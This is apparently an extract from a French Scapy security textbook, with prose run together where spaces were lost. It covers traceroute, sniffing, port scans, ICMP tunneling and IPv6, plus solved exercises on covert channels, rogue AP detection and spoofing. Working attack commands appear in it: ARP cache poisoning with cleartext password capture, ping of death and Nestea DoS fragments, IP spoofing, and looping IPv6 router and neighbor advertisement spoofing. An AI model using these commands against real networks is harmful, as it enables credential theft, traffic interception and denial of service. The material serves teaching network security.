16 173.194.34.56
SA
17 173.194.34.56
SA
18 173.194.34.56
SA
19 173.194.34.56
SA
20 173.194.34.56
SA
>>> r3=r2+result
>>> r3.show()
173.194.34.56:tcp80 193.50.192.166:tcp80 90.83.78.130:tcp80
1 195.221.189.115 11 195.221.189.115 11
195.221.189.115 11
2 195.221.189.254 11 195.221.189.254 11
195.221.189.254 11
3 193.51.250.129 11 192.168.206.2
11
193.51.250.129 11
4 193.50.192.66
11
5 193.51.189.118 11 193.50.192.166 SA
193.51.189.118 11
6 193.51.189.174 11 193.50.192.166 SA
195.10.54.65
11
7 193.50.192.166 SA
195.2.9.58
11
8 193.51.182.197 11 193.50.192.166 SA
9 72.14.238.234
11 193.50.192.166 SA
193.251.128.117 11
10 193.50.192.166 SA
11 173.194.34.56
SA 193.50.192.166 SA
12 173.194.34.56
SA 193.50.192.166 SA
13 173.194.34.56
SA 193.50.192.166 SA
14 173.194.34.56
SA 193.50.192.166 SA
15 173.194.34.56
SA 193.50.192.166 SA
16 173.194.34.56
SA 193.50.192.166 SA
17 173.194.34.56
SA 193.50.192.166 SA
18 173.194.34.56
SA 193.50.192.166 SA
19 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
20 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
21 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
22 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
23 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
24 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
25 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
26 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
27 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
28 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
29 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
30 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
>>>

Nousallonsmaintenantnousattardersurdautresfaonsdeffectueruntraceroute.
TCPSYNtraceroute

>>> ans,unans=sr(IP(dst="195.221.189.248",ttl=(1,10))/TCP(dport=53,flags="S"))
Begin emission:

ENI Editions - All rights reserved - chantal gournier

- 25 -

.***..******Finished to send 10 packets.


*
Received 13 packets, got 10 answers, remaining 0 packets
>>> ans.summary()
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain
IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
Padding
>>>

S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /

NouseffectuonsunSYNcarleflagsSestactivdansnotrecommande.
UDPtraceroute

>>> res,unans=sr(IP(dst="www.google.fr",ttl=(1,20))/UDP()/DNS(qd=DNSQR (qname="test.com")))


Begin emission:
.*.*Finished to send 20 packets.
................................................................
.....C
Received 887 packets, got 2 answers, remaining 18 packets
>>> res.make_table(lambda (s,r):(s.dst,s.ttl,r.src))
173.194.34.24
1 195.221.189.115
2 195.221.189.254
>>>

DNStraceroute

>>> ans,unans=traceroute("www.google.fr",l4=UDP(sport=RandShort())/
DNS (qd=DNSQR(qname="test.com")))
Begin emission:
**..Finished to send 30 packets.
.
Received 5 packets, got 2 answers, remaining 28 packets
173.194.34.24:udp53
1 195.221.189.115 11
2 195.221.189.254 11
>>>

- 26 -

ENI Editions - All rights reserved - chantal gournier

b.Sniffing
Nousallonsvoircomment"sniffer"grceScapylestramesrseauafindepouvoirlestudier.
La plupart des rseaux utilisent la technologie de broadcasting, ce qui signifie que chaque paquet quun
ordinateurtransmetsurunrseaupeuttreluparnimportequelordinateursitusurlerseau.
Enpratique,touslesordinateurssaufledestinatairedumessagevontsapercevoirquelemessageneleurest
pas destin et vont donc lignorer. Mais par contre, beaucoup dordinateurs peuvent tre programms pour
regarderchaquemessagequitraverselerseau.

>>> sniff(filter="ip and host 195.221.189.155",count=2)


<Sniffed: TCP:2 UDP:0 ICMP:0 Other:0>
>>> a=_
>>> a.nsummary()
0000 Ether / IP / TCP 88.190.17.188:7993 > 195.221.189.155:39864
PA / Raw
0001 Ether / IP / TCP 195.221.189.155:39864 > 88.190.17.188:7993
PA / Raw
>>> a[1]
<Ether dst=00:0b:cd:b1:24:33 src=00:26:b9:eb:6f:68 type=0x800 |
<IP version=4L ihl=5L tos=0x0 len=89 id=35398 flags=DF frag=0L
ttl=64 proto=tcp chksum=0xc465 src=195.221.189.155
dst=88.190.17.188 options=[] |<TCP sport=39864 dport=7993
seq=3949175726 ack=3310923521 dataofs=8L reserved=0L flags=PA
window=501 chksum=0xec3e urgptr=0 options=[(NOP, None), (NOP,
None), (Timestamp, (11077566, 86340748))] |<Raw
load=\x17\x03\x01\x00
\x9c\xbbM[\xf2\xbb\x90\xb0\x16p\x80\x18\xc0M\xda\x12W$\xfb\xd7D\x
e8\xb5\xf3\xb8\xd3\xfb<\xe4\xbbf |>>>>
>>>

Nous voyons ici que nous pouvons dfinir quelle machine nous voulons "sniffer", combien de paquets nous
voulonsrcuprerparexemple.
Nouspouvonsensuiteregarderledtaildechaquepaquetafindelanalyser.
Nouspouvonsobtenirentempsrellavisualisationdechaquepaquetgrcelacommandecidessous :

>>> sniff(iface="eth0", prn=lambda x:x.show())


###[ 802.3 ]###
dst= 01:80:c2:00:00:00
src= 00:0c:85:21:84:2a
len= 38
###[ LLC ]###
dsap= 0x42
ssap= 0x42
ctrl= 3
###[ Spanning Tree Protocol ]###
proto= 0
version= 0
bpdutype= 0
bpduflags= 0
rootid= 32768
rootmac= 00:03:6b:b4:06:c4
pathcost= 8
bridgeid= 32790
bridgemac= 00:0c:85:21:84:00
portid= 32810
age= 2.0
maxage= 20.0
hellotime= 2.0
ENI Editions - All rights reserved - chantal gournier

- 27 -

fwddelay= 15.0
###[ Padding ]###
load= \x00\x00\x00\x00\x00\x00\x00\x00
###[ Ethernet ]###
dst= 00:0c:85:21:84:2a
src= 00:0c:85:21:84:2a
type= 0x9000
###[ Raw ]###
load= \x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= 00:25:b3:1a:26:f9
type= 0x800

Nousvoyonsiciquenouspouvonsbiensrdfinirlinterfacesurlaquellenousvoulonscouter.
TentonslammechosesurlinterfaceWiFi :

>>> sniff(iface="eth1", prn=lambda x:x.show())


###[ Ethernet ]###
dst= 5c:ac:4c:07:02:1c
src= 00:1b:0c:65:e8:a0
type= 0x888e
###[ EAPOL ]###
version= 1
type= EAP_PACKET
len= 54
###[ EAP ]###
code= REQUEST
id= 1
len= 54
type= ID
###[ Raw ]###
load= \x00networkid=UVHC,nasid=ap1200-valenciennes85,portid=0
###[ Ethernet ]###
dst= 00:1b:0c:65:e8:a0
src= 5c:ac:4c:07:02:1c
type= 0x888e
###[ EAPOL ]###
version= 1
type= EAP_PACKET
len= 10
###[ EAP ]###
code= RESPONSE
id= 1
len= 10
type= ID
###[ Raw ]###
load= mon_login
###[ Ethernet ]###
dst= 5c:ac:4c:07:02:1c
src= 00:1b:0c:65:e8:a0
type= 0x888e
###[ EAPOL ]###
version= 1
type= EAP_PACKET
len= 6

Nouspouvonsobtenirlesmotsdepasseenclairgrceauxdeuxcommandessuivantes :

>> arpcachepoison("target", "victim")

- 28 -

ENI Editions - All rights reserved - chantal gournier

Etenparallle:

>> lp=sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(Raw)


and "PASS " in p[Raw].load)

c.ScanTCP
Lescandeportestunetechniquedebasequipermetdevrifierquelssontlesportsencoutesurundeses
serveurs.Nousallonsparlasuiteessayerdedtecter lesportsouvertssurunemachineprcisegrceScapy.

>>> res,unans =
sr(IP(dst="195.221.189.248")/TCP(flags="S",dport=(1,100)))
Begin emission:
....***********.***********************.*************************
**********..Finished to send 100 packets.
.................................................................
.............................................
>>> res.nsummary( lfilter=lambda(s,r): (r.haslayer(TCP) and
(r.getlayer(TCP).flags & 2)))
0006 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:echo S
==> IP / TCP 195.221.189.248:echo > 195.221.189.155:ftp_data SA /
Padding
0008 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:discard S
==> IP / TCP 195.221.189.248:discard > 195.221.189.155:ftp_data SA
/ Padding
0012 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:daytime S
==> IP / TCP 195.221.189.248:daytime > 195.221.189.155:ftp_data SA
/ Padding
0018 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:chargen S
==> IP / TCP 195.221.189.248:chargen > 195.221.189.155:ftp_data SA
/ Padding
0020 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ftp S ==>
IP / TCP 195.221.189.248:ftp > 195.221.189.155:ftp_data SA /
Padding
0021 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ssh S ==>
IP / TCP 195.221.189.248:ssh > 195.221.189.155:ftp_data SA /
Padding
0022 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:telnet S
==> IP / TCP 195.221.189.248:telnet > 195.221.189.155:ftp_data
SA / Padding
0036 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:time S
==> IP / TCP 195.221.189.248:time > 195.221.189.155:ftp_data SA /
Padding
0052 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain S
==> IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
SA / Padding

NousvoyonsparexemplequelesportsFTP,TelnetetSSHsontouvertssurlamachinecible.

d.Tunneling
Letunnelingestunepratiquecourantevisanttransporterunprotocole(etsesdonnes)dansunautre.
NousallonsicieffectuersimplementuntunnelingICMP :

>>> chaine="Edition ENI"


>>> p=IP(dst="195.221.189.248")/ICMP()
>>> for c in chaine:
ENI Editions - All rights reserved - chantal gournier

- 29 -

...
...
...
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
>>>

p[IP].id=ord(c)
send(p)

1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.

Voil,notrephraseatenvoyelettreparlettredansleprotocoleICMP.Riendeplusfacile !

5.Quelquesexemplessimplesen oneliner
a.ACKscan
LeACKscanestdiffrentdesscansvusprcdemmentdanslesensocescannepeutpasdterminersiun
portestouvert.
Le scan ACK nactive que le drapeau ACK des paquets. Les systmes non filtrs ragissent en retournant un
paquetRST,celaestdoncvucommeunportnonfiltrsignifiantquilestaccessibleparunpaquetACKmaissans
savoir silestrellementouvertouferm.Lesportsquinerpondentpasouquirenvoientenretourunmessage
derreurICMPsontconsidrscommefiltrs.

>>> ans,unans=sr(IP(dst="195.221.189.158")/TCP(dport=[80,666],
flags="A "))
Begin emission:
.*Finished to send 2 packets.
*
Received 3 packets, got 2 answers, remaining 0 packets
>>>
>>> for s, r in ans:
...
if s[TCP].dport==r[TCP].sport:
...
print str(s[TCP].dport)+" ne sont pas filtres"
...
80 ne sont pas filtres
666 ne sont pas filtres
>>>

Nousvoyonsdanslacapturedcranlchangedetramesentrelattaquantetlacible:

- 30 -

ENI Editions - All rights reserved - chantal gournier

b.Xmasscan
Ce type de scan exploite une faille de la RFC TCP pour diffrencier les ports ouverts et ferms : si le port de
destinationestdansltatferm,unsegmentnecontenantpasledrapeauRSTprovoquelmissiondunpaquet
RSTcommerponse.
LespaquetsenvoysdesportssansaucundesdrapeauxSYN,RSTouACKactivs,ilfautrpterlesegment.
LescanXmasactivelesdrapeauxFIN,PSHetORG,illuminantlepaquetcommeunarbredeNoldoleXmas.
Doncenenvoyantcepaquet,silepaquetreuestunRST,leportestconsidrcommeferm.Uneabsencede
rponsesignifiequilestouvertoufiltr.

>>> ans,unans=sr(IP(dst="195.221.189.158")/TCP(dport=666,flags="FPU"))
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> for s, r in ans:
...
if s[TCP].dport==r[TCP].sport:
...
print str(s[TCP].dport)+" ne sont pas filtres"
...
666 ne sont pas filtres
>>>

Nousvoyonsdanslacapturedepaquetscidessouslchangedepaquet,dabordlenvoiavecFIN,PSHetORG
activpuisnousvoyonslarceptiondepaquetavecledrapeauRSTactiv.

ENI Editions - All rights reserved - chantal gournier

- 31 -

c.IPscan
LescanduprotocoleIPpermetdedterminerquelsprotocolesIP(TCP,ICMP,IGMP,etc.)sontsupportsparles
cibles.LescandeprotocolefonctionnedefaonsimilaireauscanUDP.Aulieudeparcourirleschampsdenumro
deportsdepaquetsUDP,ilenvoiedespaquetsdenttesIPetparcourtles8bitsduchampprotocoleIP.

>>> ans,unans=sr(IP(dst="195.221.189.158",proto=(0,255))/
"ENI",retry=2)

Aveccettelignedecommande,nouspouvonsnumrerlesprotocolessupports.

d.Lesdiffrentsping
Nous pouvons bien sr utiliser le ping sous ses diffrentes formes afin de tester les htes connects sur le
rseau.
NouspouvonspasserparlesprotocolesARP,IP,ICMP,TCPouencoreUDP.
NousvoyonsicilexempleduTCPping vouspourreztransposercetexempleauxautresprotocoles.

>>> ans, unans=sr(IP(dst="195.221.189.*")/TCP(dport=80,flags="S"))


Begin emission:
.................................................................
.................................................................
.............................................

e.Lesattaquesclassiques
Paquetsmalforms
NouspouvonsgalementgrceScapyforgerdespaquetsmalferms,cestdirenecorrespondantpasla
norme(RFC)duprotocoleetce,afindentudierlarponsederetourquipeutnousapporterdesinformations
utiles.

- 32 -

ENI Editions - All rights reserved - chantal gournier

>>>send(IP(dst= 195.221.189.158 , ihl=2,version=3)/ICMP())

pingdelamort(pingofdeath)
Le "ping de la mort" dsigne un paquet ICMP dont la taille excde les capacits de la machine. Une erreur
srieusepeutdoncendcouler.Danslexemplecidessous,nousessayonsdenvoyer6000X.

>>>send(fragment(IP(dst=195.221.189.158)/ICMP()/(X*60000)))

AttaqueNestea
Lattaque Nestea est une attaque DoS (Denial of Service)quipermetderendreinaccessibleunserveurdistant
parexemple.Nousnetenteronsbiensrcetteattaquequesurunserveurouunemachinenousappartenant.

>>>send(IP(dst=195.221.189.158, id=42, flags=MF)/UDP()/


(X*10))
>>>send(IP(dst=195.221.189.158, id=42, frag=48)/(X*116))
>>>send(IP(dst=195.221.189.158, id=42, flags=MF)/UDP()/
(X*224))

ENI Editions - All rights reserved - chantal gournier

- 33 -

ScapyetIPv6
1.NotiondIPv6
a.Gnralits
LenombredadressesIPv4disponiblesestlimit4294967296soit232.lpoque,cenombrenesemblait
jamaispouvoirtreatteint.
En1992,cesadressesIPsontouvertesaucommercesurlInternet.
Une anne plus tard, nous assistons au dclenchement du plan durgence car il ny a plus aucune classe B
disponible:

IlyadonccrationdelanotationCIDR,dounediminutiondugaspillagedelespacedadressageet
unediminutiondelatailledestablesderoutage.
OnprocdelacrationetlamiseenplacedunplandadressageprivetduNAT.

Les mesures techniques induisent des contraintes et de nouveaux problmes, les protocoles dynamiques
doivent tre traits indpendamment (ex : FTP) et une couche de scurit est obligatoire pour assurer
lintgritdelaconfidentialit.
UnepremiremouturedelIPv6estproposeen1995pouruneversionfinaleen1998.
Le RIPE annonce la fin de la distribution de lIPv4 en fvrier 2011 (pour lIANA) et la fin de la distribution en
novembrepourlesreprsentantsrgionauxdelIANA.
LIPv6estcodsur128bits(32pourIPv4),ses64bitsdepoidsfortreprsententlerseauetses64bitsde
poidsfaiblereprsententlidentificationdeshtes.
Les adresses sont reprsentes sous la forme de 8 digits hexadcimaux, chaque digit reprsentant 16 bits
sousformehexadcimale.

b.IPv6 :RFC2373
LesadressesIPpeuventscriresouscetteforme :

2001:470:1f14:10b9:0000:0000:0000:2

2001:470:1F14:10b9::2

Lcrituredunensembledezroscontiguspeuttresimplifiemaispasplusdunefoissuruneadresse :

2:0000:0000:0000:2:0000:0000:2

2::2::2=>pasvalide

2::2:0000:0000:2=>valide

2:0000:0000:0000:2::2=>valide

Partierseau
Lesadressessontstructuresselonunmodleditagrg.

ENI Editions - All rights reserved - chantal gournier

- 1-

LanotationutilisepourcaractriserlesagrgatsestlanotationCIDR(RFC 1519).
Avecladresse2001:0db8:ac4d:0001::

2001:0db8:ac4destappelleprfixeet0001lesousrseau.

2001:0db8:ac4d::/48estladressederseaudusite.

Les8bitssuivantspeuventtrecrspourlacrationdesousrseaux.Lesadressessuivantessontvalides:

2001:0db8:ac4d:1010::/52

2001:0db8:ac4d:1010::/54

Partiehte
Elleestcodesur32bits,ellepermetlidentificationdunhtesurlerseau.
Onappellelien(link)unsegmentethernetbordpardesrouteurs.
Lesvoisins(neighbor)sontlesn udssitussurunmmelien.

Lestypesdadresses

Unicast:communicationentredeuxn uds.
Multicast : identifie les n uds appartenant un mme groupe de discussion. Un paquet envoy en
multicastestenvoytouslesn udsappartenantcegroupe.
Anycast : obtenir une adresse dun serveur de faon optimum parmi des serveurs offrant ce mme
service.
Broadcastnexisteplus!

Desprfixesonttrservsdesusagesspcifiques :

2001:0db8::/32=>rservladocumentation(RFC3849).

2002::/16=>prfixederoutagepouruntunnel6to4.

Fe80::/10=>adressedetypelienlocal.

Ff00::/8=>adresseditemulticast.

Fc00::/7=>adresseslocalesuniques,rseauxprivs.

Fd00:/8=>utilisepourlessites(RFC4193).

2.Application
a.RequteICMPIPv6
Nousallonseffectuer,grceScapy,unsimplepingcommenousavionspulefaireenIPv4maisbiensrcette
foiscienIPv6.

>>>i=IPv6()
>>>i.dst="2001:db8:dead::1"

- 2-

ENI Editions - All rights reserved - chantal gournier

>>>q=ICMPv6EchoRequest()
>>>p=(i/q)
>>>sr1(p)

b.RoutagedepaquetsIPv6
Leroutageestleprocessusdetransmissiondepaquetsentredessegmentsrseau connects.Danslecasde
lIPv6,leroutageestlapartiequiassurelatransmissionentredeshtesappartenantdessegmentsrseau
distincts. Le routage est la fonction principale dIPv6. Les paquets IPv6 sont changs et traits sur chaque
hteparlebiaisdIPv6surlacoucheInternet.
Les services de transport de lhte source transmettent les donnes sous la forme de segments TCP ou de
messages UDP la couche IPv6 infrieure. La couche IPv6 cre des paquets IPv6 partir des informations
dadressessourceetdedestinationpermettantderouterlesdonnesvialerseau.LacoucheIPv6transmet
ensuitelespaquetslacoucheliaisoninfrieure,olespaquetsIPv6sontconvertisentramesenvuedeleur
transmissionviaunsupportderseauphysique.

>>>i=IPv6()
>>>i.dst="2001:db8:dead::1"
>>>h=IPv6ExtHdrRouting()
>>>h.addresses=["2001:db8:dead::1","2001:db8:dead::1",
"2001:db8:de ad::1"]
>>>p=ICMPv6EchoRequest()
>>>pa=(i/h/p)

c.ExemplederoutagedeHeader
Le "routing header" (de type 0) est une fonctionnalit qui permet la source dunpaquetdechoisirtoutou
partie de son chemin vers sa destination qui avait t bannie des rseaux IPv4 du fait des problmes de
scurit que son implmentation posait. Le but est de faire acheminer un paquet de la source vers la
destinationenpassantparplusieursrouteurstransits.

>>>a = sr1(IPv6(dst="2001:4f8:4:7:2e0:81ff:fe52:9a6b")/
IPv6ExtHdrRouting( addresses=["2001:78:1:32::1","2001:20:82:203:fea5:385"])
ICMPv6Echo
Request(data=RandString(7)), verbose=0)
>>>a.src

d.traceroute
traceroute est un outil de diagnostic des rseaux permettant de dterminer le chemin suivi par un paquet.
NousallonssimplementavecScapyetpourlIPv6recrercettefonction.

>>>waypoint = "2001:301:0:8002:203:47ff:fea5:3085"
>>>target = "2001:5f9:4:7:2e0:81ff:fe52:9a6b"
>>>traceroute6(waypoint,minttl=15,maxttl=34,l4=IPv6ExtHdrRouting
(addresses=[target])/ICMPv6EchoRequest(data=RandString(7)))

e.IPv6NA
NousallonsvoirdanscettepartiedeuxfaonsdecrerdespaquetsIPv6NA(version1etversion2).IPv6NA
(NeighborAdvertisements)sontprincipalementenvoysenrponseunmessageNS(NeighborSollicitation).Un
messageNApeuttreenvoyquanduneadresseachang.LemessageNAestenvoycommeuneNAnon
sollicitepouravertirdunenouvelleadresse.

ENI Editions - All rights reserved - chantal gournier

- 3-

Version1

>>>sendp(Ether()/IPv6()/ICMPv6ND_RA()ICMPv6NDOptPrefixInfo(prefix=
"2001:db8:cafe:deca::",
prefixlen=64)/ICMPv6NDOptSrcLLAddr(lladdr="00:b0:de:ad:be:ef"),
loop=1, inter=3)

Version2

>>>a=IPv6(nh=58, src=fe80::214:f2ff:fe07:af0, dst=ff02::1,


version=6L, hlim=255, plen=64, fl=0L, tc=224L)
>>>b=ICMPv6ND_RA(code=0, chlim=64, H=0L, M=0L, O=0L,
routerlifetime=1800, P=0L, retranstimer=0, prf=0L, res=0L,
reachabletime=0, type=134)
>>>c=ICMPv6NDOptSrcLLAddr(type=1, len=1,
lladdr=00:14:f2:07:0a:f1)
>>>d=ICMPv6NDOptMTU(res=0, type=5, len=1, mtu=1500)
>>>e=ICMPv6NDOptPrefixInfo(A=1L, res2=0, res1=0L, L=1L, len=4,
prefix=2001:db99:dead::, R=0L, validlifetime=2592000,
prefixlen=64, preferredlifetime=604800, type=3)
>>>send(a/b/c/d/e)

f.Avertissementdedaemontus
Un temps de vie de 0 (lifetime= 0) indique que le routeur nest pas le routeur par dfaut et ne doit pas
apparatredanslalistedesrouteurspardfaut.
VoicidonclemoyendetestercelagrceScapy.

>>>send(IPv6(src=server)/ICMPv6ND_RA(routerlifetime=0), loop=1,
inter=1)

g.Exemple
VoiciunexemplequipermetdeffectuerunerequtedenomsenpartantdunelistedadressesIPv6:

>>>someaddr=["2001:6c8:6:4::7", "2001:500::1035",
"2001:1ba0:0:4::1",
"2001:2f0:104:1:2e0:18ff:fea8:16f5",
"2001:e40:100:207::2",
"2001:7f8:2:1::18", "2001:4f8:0:2::e",
"2001:4f8:0:2::d"]
>>>for addr in someaddr:
...
a = sr1(IPv6(dst=addr)/ICMPv6NIQueryName(data=addr),
verbose=0)
...
print a.sprintf( "%-35s,src%: %data%")

- 4-

ENI Editions - All rights reserved - chantal gournier

Conclusion
NousvenonsdedcouvrirlesprincipalesfonctionnalitsdeScapy.Ilenexistebiendautresetsivoussouhaitez
approfondirvosconnaissances,vouspourreztrouversurleNetdesdocumentations,desexemplesdutilisation.
SeulevotreimaginationpourravousbriderdanslutilisationdeScapy,cestunoutilpuissant,pleinderessources,
etseulesonutilisationfrquentevouspermettra denmatriserlesmandres.

ENI Editions - All rights reserved - chantal gournier

- 1-

Miseenpratique
1.CanalcachIP
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquiutiliseuncanalcachIP.
nonc:
UncanalcachIP(covertchannelIP)estuncanaldecommunicationentredeuxordinateursquiutiliselabande
passante dun autre canal dans lobjectif de transmettre des informations sans lautorisation ou la
connaissancedupropritaire delinformationoudeladministrateurdurseau.
GrceScapy,ralisezcescriptPython.

b.Correction
chap2_exo2.py

#!/usr/bin/env python
# -*- coding: iso-8859-15 -*from scapy.all import *
conf.verb=0
def traitePaquet(p):
if p[IP].ttl > 230:
print ""
sys.exit(0)
sys.stdout.write(chr(p[IP].id))
sniff(
filter = "icmp and src //@victim//",
lfilter = lambda p: p.haslayer(ICMP) and p[IP].id < 256,
prn = traitePaquet,
#}Pour le traitement en live
store = 0,
#}
)

2.DtectiondeRogueAP
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquidtectelaprsencedunrogueAPdansnotrerseau.
nonc:
CrezunscriptPythonutilisantScapyquivavouspermettrededtectersiunrogueAPestprsentsurvotre
rseau.
ENI Editions - All rights reserved - chantal gournier

- 1-

LafailledescuritditeRogueAPestlaplusredouteenentreprise(noustraduironsrogueparindsirableici).
Ellesurvientquandunutilisateurdurseau,parcommoditauniveaudesesbureauxparexemple,connecte
unAPsurlapriseEthernetmurale,luipermettantdavoirunecertainemobilitavecsonordinateurlintrieur
de la cellule ainsi cre. Ces installations pirates, pas ncessairement malveillantes, sont particulirement
dangereusesparcequellesouvrentlerseaudelentrepriseaumondeWiFi,gnralementavecunniveaude
scurit extrmement minime (authentification rduite de type WEP avec une cl de 40 bits, pas de Firewall,
pasdIDS,pasdedtectiondetentativedattaques,etc.).Danslepiredescas,lordinateur peut fonctionner
commeunpont,crantunWirelessBridge:unlien"ouvert"entrelerseauWiFietlerseaulocalcbl.

b.Correction

>>>conf.checkIPaddr=False
>>>fam,hw=get_if_raw_hwaddr(conf.iface)
>>>dhcp_discover=Ether(dst=ff:ff:ff:ff:ff:ff)/IP(src=0.0.0.0,
dst=255.255.255.255)
>>>ans,unans=srp(dhcp_discover,multi=true)
Begin emission:
Finished to send 1 packets.
...................................................................
................C
received 16 paquets, got 1 answers, remaining 0 packets
>>>ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP /
DHCP ==> Ether / IP

NousvoulonsjusteladresseMACetladresseIPcorrespondante:

>>>for p in ans:
...
print p[1][Ether].src,p[1][IP].src
...
00:FE:E8:AF:EF:01 192.168.1.1

3.IPSpoofing
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquipermetdeffectuerunIPspoofing.
nonc:
Soitleserveurcidessous :

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host =
port = 4000
s.bind((host,port))
while 1:
s.listen(1)
conn, addr = s.accept()
if(addr[0]=="195.221.189.111"):
print "ok"
else:
print "nok";
- 2-

ENI Editions - All rights reserved - chantal gournier

conn.close()

crivezunscriptquifassepasservotremachinepouruneautre.

b.Correction

ipServer=195.221.189.155;
ipFake=195.221.189.111;
conf.verb=0
conf.iface=eth0 # eth0 est ma carte reseau
myether = 00:26:b6:31:b7:12 # MAC eth0
gwether = 00:0c:f6:31:2d:df # MAC du routeur
dst=gwether
packet=Ether(src=myether,dst=gwether)/IP(dst=ipServer,src=ipFake)/
TCP(sport=RandShort(),dport=4000,flags=S);
sendp(packet);

4.SpoofingIPv6desvoisins
a.nonc
Prrequis:Python,Scapy,notionderseauetdIPv6
But:raliserunscriptPythonquipermetdeffectuerunspoofingIPv6.
nonc:
FabriquezvotreproprescriptPythonqui"spoofe"(IPv6)lesvoisins.

b.Correction

>>> ls(Ether)
dst
: DestMACField
= (None)
src
: SourceMACField
= (None)
type
: XShortEnumField
= (0)
>>> ether=(Ether(dst=00:00:00:00:00:0b,
src=00:00:00:00:00:0c))
>>> ls(IPv6)
version
: BitField
= (6)
tc
: BitField
= (0)
fl
: BitField
= (0)
plen
: ShortField
= (None)
nh
: ByteEnumField
= (59)
hlim
: ByteField
= (64)
src
: SourceIP6Field
= (None)
dst
: IP6Field
= (::1)
>>> ipv6=IPv6(src=fe80::1, dst=fe80::2)
>>> ls(ICMPv6ND_NA)
type
: ByteEnumField
= (136)
code
: ByteField
= (0)
cksum
: XShortField
= (None)
R
: BitField
= (1)
S
: BitField
= (0)
O
: BitField
= (1)
res
: XBitField
= (0)
tgt
: IP6Field
= (::)
>>> na=ICMPv6ND_NA(tgt=fe80::1, R=0)
>>> ls(ICMPv6NDOptDstLLAddr)
ENI Editions - All rights reserved - chantal gournier

- 3-

type
: ByteField
= (2)
len
: ByteField
= (1)
lladdr
: MACField
= (00:00:00:00:00:00)
>>> lla=ICMPv6NDOptDstLLAddr(lladdr=00:00:00:00:00:0c)
>>> (ether/ipv6/na/lla).display()
###[ Ethernet ]###
dst= 00:00:00:00:00:0b
src= 00:00:00:00:00:0c
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= fe80::1
dst= fe80::2
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= None
R= 0
S= 0
O= 1
res= 0x0
tgt= fe80::1
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer
Address ]###
type= 2
len= 1
lladdr= 00:00:00:00:00:0c
>>> sendp(ether/ipv6/na/lla, iface=br0, loop=1, inter=5)

- 4-

ENI Editions - All rights reserved - chantal gournier

Introduction
Dans ce chapitre, nous allons utiliser PyDbg inspir du livre Gray Hat Python de Justin Seitz, chapitre 4. Nous
sommesdanslalimiteduHackingetduForensic.PyDbgvanousaiderpisterlesdonnesdanslesprogrammes,
dbuggermaisaussieffectuerdufuzzing,duhookdapplication...
